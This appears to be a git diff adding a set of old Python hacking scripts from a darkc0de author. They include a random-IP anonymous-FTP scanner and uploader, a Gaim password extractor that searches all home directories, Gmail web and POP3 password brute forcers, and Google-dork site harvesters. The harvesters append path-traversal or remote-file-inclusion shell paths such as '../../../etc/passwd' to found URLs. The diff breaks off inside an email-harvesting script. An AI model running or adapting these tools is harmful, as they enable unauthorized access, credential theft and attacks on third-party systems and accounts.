+#!/usr/bin/python
+#Searches random ips for ftp port open then checks
+#anonymous login and attempts upload. Uses nmap or 
+#sockets and includes threading.
+
+#Changlog v1.1: added threading, checks if uploading allowed, +- nmap option
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, StringIO, re, threading, time, ftplib, random, socket
+from ftplib import FTP
+
+def nmapscan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 21 | grep -B 3 open')[1]).readlines()
+
+	for tmp in nmap:
+		ip = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ip: 
+			ipaddr = ip[0]
+			ftpcheck(ipaddr)
+			
+def servscan():
+	
+	ipaddr = rand()
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(15)
+		s.connect((ipaddr, 21))
+		s.close()
+		ftpcheck(ipaddr)
+	except socket.error:
+		pass
+	
+def rand():
+	a = random.randrange(255) + 1
+	b = random.randrange(255) + 1
+	c = random.randrange(255) + 1
+	d = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (a,b,c,d)
+	return ip
+							
+def ftpcheck(ipaddr):
+	
+	try:
+		print "\n[+] Checking anonymous login:",ipaddr
+		ftp = ftplib.FTP(ipaddr)
+		print "[+] Response:",ftp.getwelcome()
+		ftp.login()
+		ftp.retrlines('LIST')
+		print "\t[!] Anonymous login successful:",ipaddr
+		print "[+] Testing Upload"
+		ftp.sendcmd('PUT '+file)
+		print "[+] Currect Directory:",ftplib.pwd()
+		print "\t[!] Upload successful:",ipaddr
+		ftp.quit()
+	except (ftplib.all_errors), msg: 
+		print "[-] An error occurred:",msg,"\n"
+	
+#................................................
+print "\n   d3hydr8[at]gmail[dot]com FTPScan v1.1"
+print "----------------------------------------------\n"
+
+if len(sys.argv) != 3 and len(sys.argv) != 4:
+	print "Usage: ./ftprand.py <number of ips to scan> <file to upload>\n"
+	print "\t[option]"
+	print "\t   -nmap : Uses sockets instead of nmap to find open ports"
+	print "\nExample: ./ftprand.py 10000 /home/d3hydr8/test.txt -nmap\n"
+	sys.exit(0)
+
+num = int(sys.argv[1])
+file = sys.argv[2]
+try:
+  	open(file, "r")
+except(IOError): 
+  	print "\n[-] Error: Check your file path\n"
+  	sys.exit(1)
+print "[+] Scanning:",num
+print "[+] Upload File:",file
+try:
+	if sys.argv[3].lower() == "-nmap":
+		print "[+] Socket Scan Mode\n"
+		for x in xrange(num):
+			print "[-]",x+1,"of",num
+			#Change this limit for faster results.
+			time.sleep(5)
+			threading.Thread(target=servscan).start()
+	else:
+		print "\n[-] Error: Check your options\n"
+		sys.exit(1)
+except(IndexError):
+	print "[+] Nmap Mode\n"
+	for x in xrange(num):
+		print "[-]",x+1,"of",num
+		#Change this limit for faster results.
+		time.sleep(5)
+		threading.Thread(target=nmapscan).start()
+	
\ No newline at end of file
diff --git a/3rdparty/gaimextract.py b/3rdparty/gaimextract.py
new file mode 100644
index 0000000..9fe89c3
--- /dev/null
+++ b/3rdparty/gaimextract.py
@@ -0,0 +1,24 @@
+#!/usr/bin/python
+#Extracts passwords from Gaim accounts.
+#d3hydr8[at]gmail[dot]com
+#http://darkcode.ath.cx
+
+import sys, os, re 
+	
+print "\nSearching for gaim accounts...\n"
+
+users = os.listdir("/home")
+for line in users:
+	try:
+		file = os.popen("find /home/"+line+" -name accounts.xml").readlines()
+		sets = open(file[0][:-1], "r").readlines()
+	except(OSError), msg:
+		print msg
+for line in sets:
+	if re.search("<name>\w+</name>", line):
+		print "Username:",line.replace("<name>","").replace('</name>',"")
+	if re.search("<password>\w+</password>", line):
+		print "Password:",line.replace("<password>","").replace('</password>',"")
+		print "-" * 25 ,"\n"
+
+
diff --git a/3rdparty/getresp.py b/3rdparty/getresp.py
new file mode 100644
index 0000000..aae0097
--- /dev/null
+++ b/3rdparty/getresp.py
@@ -0,0 +1,43 @@
+#!/usr/bin/python 
+#Gets http response from a list of sites (paths). 
+ 
+#mozi project ;) 
+ 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import sys, httplib 
+ 
+def main(host, path): 
+	try:# make a http HEAD request 
+		h = httplib.HTTP(host) 
+		h.putrequest("HEAD", "/"+path.strip("\n")) 
+		h.putheader("Host", host) 
+		h.endheaders() 
+		status, reason, headers = h.getreply() 
+		print "[+]",host+"/"+path.strip("\n"),":",status, reason 
+	except: 
+		print "[-] Error Occurred" 
+		pass 
+ 
+if len(sys.argv) != 2: 
+	print "Usage: ./getresp.py <list of sites>" 
+	sys.exit(1) 
+ 
+print "\n   d3hydr8[at]gmail[dot]com getResp v1.0" 
+print "----------------------------------------------" 
+ 
+try: 
+  	list1 = open(sys.argv[1], "r").readlines() 
+except(IOError): 
+	print "[-] Error: Check your list file.\n" 
+  	sys.exit(1) 
+ 
+print "\n[+] Loaded:",len(list1),"sites" 
+ 
+for host in list1: 
+	try: 
+		main(host.strip("http://").split("/",1)[0], host.strip("http://").split("/",1)[1]) 
+	except(IndexError): 
+		main(host, "/") 
+print "\n[+] Done\n"
\ No newline at end of file
diff --git a/3rdparty/gmailbrute.py b/3rdparty/gmailbrute.py
new file mode 100644
index 0000000..3a72681
--- /dev/null
+++ b/3rdparty/gmailbrute.py
@@ -0,0 +1,103 @@
+#!usr/bin/python
+#Gmail Brute Forcer
+#To use this script you need ClientCookie and Client Form.
+#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
+#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
+#To install the package, run the following command:
+#python setup.py build
+#then (with appropriate permissions)
+#python setup.py install
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, socket, httplib, re
+try:
+	sys.path.append('ClientCookie-1.0.3')
+	import ClientCookie
+	sys.path.append('ClientForm-0.1.17')
+	import ClientForm
+except(ImportError):
+	print "\nTo use this script you need ClientCookie and Client Form."
+	print "Read the top intro for instructions.\n"
+	sys.exit(1)
+from copy import copy
+
+if len(sys.argv) !=3:
+	print "Usage: ./gmailbrute.py <user> <wordlist>"
+	sys.exit(1)
+
+try:
+  	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com GmailBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server: https://www.gmail.com/"
+print "[+] User:",sys.argv[1]
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		global success
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",sys.argv[1],"Password:",value
+			cookieJar = ClientCookie.CookieJar()
+			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
+			opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
+			ClientCookie.install_opener(opener)
+			fp = ClientCookie.urlopen("https://www.gmail.com/")
+			forms = ClientForm.ParseResponse(fp)
+			form = forms[0]
+			form["Email"]  = sys.argv[1] 
+			form["Passwd"] = value      
+			fp = ClientCookie.urlopen(form.click())
+			site = fp.readlines()
+			for line in site:
+				if re.search("Gmail - Inbox", line):
+					print "\tSuccessful Login:", value
+					success =  value
+					sys.exit(1)
+			fp.close()
+		except(socket.gaierror), msg: 
+			pass
+ 
+for i in range(len(words)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
+time.sleep(3)
+try:
+	if success:
+		print "\n\n[+] Successful Login: https://www.gmail.com/"
+		print "[+] User:",sys.argv[1]," Password:",success
+except(NameError):
+	print "\n[+] Couldn't find correct password"
+	pass
+print "\n[+] Done\n"
diff --git a/3rdparty/gmailpopbrute.py b/3rdparty/gmailpopbrute.py
new file mode 100644
index 0000000..7c17f2c
--- /dev/null
+++ b/3rdparty/gmailpopbrute.py
@@ -0,0 +1,104 @@
+#!usr/bin/python
+#Gmail Pop3 Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, poplib
+from copy import copy
+
+if len(sys.argv) !=3:
+	print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
+	print "\t   --------------------------------------------------\n"
+	print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
+	sys.exit(1)
+	
+server = "pop.gmail.com"
+success = []
+
+try:
+  	users = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  	print "[-] Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+	
+try:
+	pop = poplib.POP3_SSL(server, 995)
+	welcome = pop.getwelcome()
+	pop.quit()
+except (poplib.error_proto): 
+	welcome = "No Response"
+	pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
+print "\t   --------------------------------------------------\n"
+print "[+] Server:",server
+print "[+] Port: 995"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+] Server response:",welcome,"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "[-] Reloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0], users[0]
+	else:
+		return value[0], users[0]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		user = user.replace("\n","")
+		value = value.replace("\n","")
+		
+		try:
+			print "-"*12
+			print "[+] User:",user,"Password:",value
+			pop = poplib.POP3_SSL(server, 995)
+			pop.user(user)
+			pop.pass_(value)
+			print "\t\t\n\nLogin successful:",user, value
+			print "\t\tMail:",pop.stat()[0],"emails"
+			print "\t\tSize:",pop.stat()[1],"bytes\n\n"
+			success.append(user)
+			success.append(value)
+			success.append(pop.stat()[0])
+			success.append(pop.stat()[1])
+			pop.quit()
+		except (poplib.error_proto), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
+if len(success) >=1:
+	print "\n\n[+] Login successful:",success[0], success[1]
+	print "\t[+] Mail:",success[2],"emails"
+	print "\t[+] Size:",success[3],"bytes\n"
+print "\n[-] Done"
\ No newline at end of file
diff --git a/3rdparty/goog-subdomains.py b/3rdparty/goog-subdomains.py
new file mode 100644
index 0000000..d42cc3c
--- /dev/null
+++ b/3rdparty/goog-subdomains.py
@@ -0,0 +1,65 @@
+#!/usr/bin/python
+#Another goog-mail.py mod, extracts subdomains from google.
+#d3hydr8[at]gmail[dot]com
+
+import sys
+import re
+import string
+import httplib
+import urllib2
+import re
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+if len(sys.argv) != 2:
+        print "\nExtracts subdomains from google results.\n"
+        print "\nUsage : ./goog-subdomains.py <domain-name>\n"
+        sys.exit(1)
+
+domain_name=sys.argv[1]
+print "\nSearching for",domain_name,"\b's subdomains...\n"
+d=[]
+page_counter = 0
+try:
+    while page_counter < 50 :
+        results = 'http://groups.google.com/groups?q='+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+        request = urllib2.Request(results)
+        request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener = urllib2.build_opener()                           
+        text = opener.open(request).read()
+        names = (re.findall('(\w+\.'+domain_name+')',StripTags(text)))
+        for name in names:
+		   if name not in d:
+            		d.append(name)
+        page_counter +=10
+except IOError:
+    print "Can't connect to Google Groups!"+""
+    
+page_counter_web=0
+try:
+
+    while page_counter_web < 50 :
+        results_web = 'http://www.google.com/search?q='+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
+        request_web = urllib2.Request(results_web)
+        request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener_web = urllib2.build_opener()                           
+        text = opener_web.open(request_web).read()
+        names = (re.findall('(\w+\.'+domain_name+')',StripTags(text)))
+        for name in names:
+            if name not in d:
+			  d.append(name)
+        page_counter_web +=10
+        
+except IOError:
+    print "Can't connect to Google Web!"+""
+for subdomains in d:
+	print subdomains
+
diff --git a/3rdparty/goog2text.py b/3rdparty/goog2text.py
new file mode 100644
index 0000000..ef9ca26
--- /dev/null
+++ b/3rdparty/goog2text.py
@@ -0,0 +1,106 @@
+#!/usr/bin/python
+#Searches google with a user defined query then writes the results to a file.
+
+#Changelog 1.5: Added random useragents, fixed output for payload, added captcha checker, added time delay
+#Changelog 1.4: Fixed the way it finds addresses, better results
+#Changelog 1.3: now searches multiple languages and fixed site output bug
+#Changelog 1.2: add a shell path onto the sites found
+#Changelog 1.1: added the ability to choose how many.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2, sets, random, time
+
+agents = ['Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
+		'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
+		'Microsoft Internet Explorer/4.0b1 (Windows 95)',
+		'Opera/8.00 (Windows NT 5.1; U; en)']
+		  
+def getsites(lang):
+	
+	page_counter=0
+	try:
+		#Change this 50 to search for more sites.(multiples of 10)
+    		while page_counter < 70:
+			time.sleep(3)
+        		results_web = 'http://www.google.com/search?q='+str(query)+'&hl='+str(lang)+'&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent',random.choice(agents))
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+			if re.search("403 Forbidden", text):
+				print "[-] Received Captcha, Exiting Language"
+				break
+        		names = re.findall(('<span class=a>+[\w\d\?\/\.\=\s\-]+</span>'),text.replace("<b>","").replace("</b>",""))
+        		for name in names:
+				name = re.sub("- \d+k - </span>"," ",name.replace("<span class=a>","")).replace("</span>","")
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Google Web!"+""
+	
+		  
+if len(sys.argv) != 4 and len(sys.argv) != 5:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.5"
+	print "------------------------------------------------"
+	print "\nUsage: ./goog2text.py <query> <how many> <file to save results> <payload>"
+	print "Ex: ./goog2text.py \"inurl:/etc/shadow\" 200 results.txt ../../../etc/passwd\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.5"
+	print "------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	try:
+		if len(sys.argv) == 5:
+			shell=sys.argv[4]
+			print "[+] Shell:",shell
+		else:
+			shell = ""
+	except(IndexError):
+		print "None"
+		pass
+
+print "[+] Agents Loaded:",len(agents)
+langs = ["en", "it", "nl", "ru", "ua", "pl", "de", "be", "kr", "fr", "es", "se", "no", "ir", "za"]
+print "[+] Languages:",len(langs),"\n"
+		
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query = re.sub("\s","+",sys.argv[1])	
+d=[]
+
+while len(d) < int(sys.argv[2]):
+	for lang in langs:
+		print "[+] Language:",lang
+		getsites(lang)
+		langs.remove(lang)
+		d = list(sets.Set(d))
+		print "[+] Found:",len(d)
+	if len(langs) == 0:
+		break
+		
+file = open(sys.argv[3], "a")
+print "\n[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	if sites.find('www') != -1:
+		site = sites[sites.find('www'):]
+	if shell != "" and site.find('=') != -1:
+		file.writelines(site.rsplit("=",1)[0]+"="+shell+"\n")
+	else:
+		file.writelines(site+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/goog2text1.1.py b/3rdparty/goog2text1.1.py
new file mode 100644
index 0000000..5ffbd34
--- /dev/null
+++ b/3rdparty/goog2text1.1.py
@@ -0,0 +1,72 @@
+#!/usr/bin/python
+#Searches google with a user defined query then writes the results to a file.
+
+#Changelog: added the ability to choose how many.
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, httplib, urllib2
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+		  
+if len(sys.argv) != 4:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.1"
+	print "--------------------------------------------------"
+	print "\nUsage: ./goog2text.py <query> <how many> <file to save results>"
+	print "Ex: ./goog2text.py \"inurl:/etc/shadow\" 200 results.txt\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.1"
+	print "--------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query=sys.argv[1]
+d=[]
+    
+page_counter=0
+try:
+	#Change this 50 to search for more sites.(multiples of 10)
+    while page_counter < int(sys.argv[2]):
+        results_web = 'http://www.google.com/search?q='+str(query)+'&hl=en&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        request_web = urllib2.Request(results_web)
+        request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener_web = urllib2.build_opener()                           
+        text = opener_web.open(request_web).read()
+        names = re.findall(('\w+\.\w+.\w+\.\w+'),StripTags(text))
+        for name in names:
+            if name not in d:
+			  d.append(name)
+        page_counter +=10
+        
+except IOError:
+    print "[-] Can't connect to Google Web!"+""
+file = open(sys.argv[3], "a")
+print "[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	file.writelines(sites+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/goog2text1.2.py b/3rdparty/goog2text1.2.py
new file mode 100644
index 0000000..ab3039e
--- /dev/null
+++ b/3rdparty/goog2text1.2.py
@@ -0,0 +1,85 @@
+#!/usr/bin/python
+#Searches google with a user defined query then writes the results to a file.
+
+##Changelog 1.2: add a shell path onto the sites found
+#Changelog 1.1: added the ability to choose how many.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+		  
+if len(sys.argv) != 4 and len(sys.argv) != 5:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.2"
+	print "------------------------------------------------"
+	print "\nUsage: ./goog2text.py <query> <how many> <file to save results> <rfi-path>"
+	print "Ex: ./goog2text.py \"inurl:/etc/shadow\" 200 results.txt /contact.php?dir=shell\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.2"
+	print "------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	try:
+		print "[+] Shell:",sys.argv[4]
+	except(IndexError):
+		print "None"
+		pass
+		
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query=sys.argv[1]
+if len(sys.argv) == 5:
+	shell=sys.argv[4]
+	if shell[0] != "/":
+		shell = "/"+shell
+else:
+	shell = ""
+	
+d=[]
+    
+page_counter=0
+try:
+	#Change this 50 to search for more sites.(multiples of 10)
+    while page_counter < int(sys.argv[2]):
+        results_web = 'http://www.google.com/search?q='+str(query)+'&hl=en&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        request_web = urllib2.Request(results_web)
+        request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener_web = urllib2.build_opener()                           
+        text = opener_web.open(request_web).read()
+        names = re.findall(('\w+\.\w+.\w+\.\w+'),StripTags(text))
+        for name in names:
+            if name not in d:
+			  d.append(name)
+        page_counter +=10
+        
+except IOError:
+    print "[-] Can't connect to Google Web!"+""
+file = open(sys.argv[3], "a")
+print "[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	file.writelines(sites+shell+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/goog2text1.3.py b/3rdparty/goog2text1.3.py
new file mode 100644
index 0000000..00d6b44
--- /dev/null
+++ b/3rdparty/goog2text1.3.py
@@ -0,0 +1,105 @@
+#!/usr/bin/python
+#Searches google with a user defined query then writes the results to a file.
+
+#Changelog 1.3: now searches multiple languages and fixed site output bug
+#Changelog 1.2: add a shell path onto the sites found
+#Changelog 1.1: added the ability to choose how many.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2, sets
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+		  
+def getsites(lang):
+	
+	page_counter=0
+	try:
+		#Change this 50 to search for more sites.(multiples of 10)
+    		while page_counter < 50:
+        		results_web = 'http://www.google.com/search?q='+str(query)+'&hl='+str(lang)+'&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\w+\.\w+.\w+\.\w+'),StripTags(text))
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Google Web!"+""
+	
+		  
+if len(sys.argv) != 4 and len(sys.argv) != 5:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.3"
+	print "------------------------------------------------"
+	print "\nUsage: ./goog2text.py <query> <how many> <file to save results> <rfi-path>"
+	print "Ex: ./goog2text.py \"inurl:/etc/shadow\" 200 results.txt /contact.php?dir=shell\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.3"
+	print "------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	try:
+		print "[+] Shell:",sys.argv[4]
+	except(IndexError):
+		print "None"
+		pass
+
+langs = ["en", "it", "nl", "ru", "ua", "pl", "de", "be", "kr", "fr", "es", "se", "no", "ir", "za"]
+print "[+] Languages:",len(langs),"\n"
+		
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query = re.sub("\s","+",sys.argv[1])
+if len(sys.argv) == 5:
+	shell=sys.argv[4]
+	if shell[0] != "/":
+		shell = "/"+shell
+else:
+	shell = ""
+	
+d=[]
+
+while len(d) < int(sys.argv[2]):
+	for lang in langs:
+		print "[+] Language:",lang
+		getsites(lang)
+		langs.remove(lang)
+		d = list(sets.Set(d))
+		print "[+] Found:",len(d)
+	if len(langs) == 0:
+		break
+		
+file = open(sys.argv[3], "a")
+print "\n[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	if sites.find('www') != -1:
+		sites = sites[sites.find('www'):]
+	file.writelines(sites+shell+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/goog2text1.4.py b/3rdparty/goog2text1.4.py
new file mode 100644
index 0000000..ba1783c
--- /dev/null
+++ b/3rdparty/goog2text1.4.py
@@ -0,0 +1,95 @@
+#!/usr/bin/python
+#Searches google with a user defined query then writes the results to a file.
+
+#Changelog 1.4: Fixed the way it finds addresses, better results
+#Changelog 1.3: now searches multiple languages and fixed site output bug
+#Changelog 1.2: add a shell path onto the sites found
+#Changelog 1.1: added the ability to choose how many.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2, sets
+		  
+def getsites(lang):
+	
+	page_counter=0
+	try:
+		#Change this 50 to search for more sites.(multiples of 10)
+    		while page_counter < 50:
+        		results_web = 'http://www.google.com/search?q='+str(query)+'&hl='+str(lang)+'&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('<span class=a>+[\w\d\?\/\.\=\s\-]+</span>'),text.replace("<b>","").replace("</b>",""))
+        		for name in names:
+				name = re.sub("- \d+k - </span>"," ",name.replace("<span class=a>","")).replace("</span>","")
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Google Web!"+""
+	
+		  
+if len(sys.argv) != 4 and len(sys.argv) != 5:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.4"
+	print "------------------------------------------------"
+	print "\nUsage: ./goog2text.py <query> <how many> <file to save results> <rfi-path>"
+	print "Ex: ./goog2text.py \"inurl:/etc/shadow\" 200 results.txt /contact.php?dir=shell\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Goog2Text v1.4"
+	print "------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+	try:
+		print "[+] Shell:",sys.argv[4]
+	except(IndexError):
+		print "None"
+		pass
+
+langs = ["en", "it", "nl", "ru", "ua", "pl", "de", "be", "kr", "fr", "es", "se", "no", "ir", "za"]
+print "[+] Languages:",len(langs),"\n"
+		
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query = re.sub("\s","+",sys.argv[1])
+if len(sys.argv) == 5:
+	shell=sys.argv[4]
+	if shell[0] != "/":
+		shell = "/"+shell
+else:
+	shell = ""
+	
+d=[]
+
+while len(d) < int(sys.argv[2]):
+	for lang in langs:
+		print "[+] Language:",lang
+		getsites(lang)
+		langs.remove(lang)
+		d = list(sets.Set(d))
+		print "[+] Found:",len(d)
+	if len(langs) == 0:
+		break
+		
+file = open(sys.argv[3], "a")
+print "\n[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	if sites.find('www') != -1:
+		sites = sites[sites.find('www'):]
+	file.writelines(sites+shell+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/goog_mail_mod.py b/3rdparty/goog_mail_mod.py
new file mode 100644
index 0000000..6e9c34a
--- /dev/null
+++ b/3rdparty/goog_mail_mod.py
@@ -0,0 +1,64 @@
+#!/usr/bin/python
+#I needed goog-mail.py to just print out users for piping.
+#d3hydr8[at]gmail[dot]com
+
+import sys
+import re
+import string
+import httplib
+import urllib2
+import re
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+if len(sys.argv) != 2:
+        print "\nExtracts emails from google results.\n"
+        print "\nUsage : ./goog-mail.py <domain-name>\n"
+        sys.exit(1)
+
+domain_name=sys.argv[1]
+d={}
+page_counter = 0
+try:
+    while page_counter < 50 :
+        results = 'http://groups.google.com/groups?q='+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+        request = urllib2.Request(results)
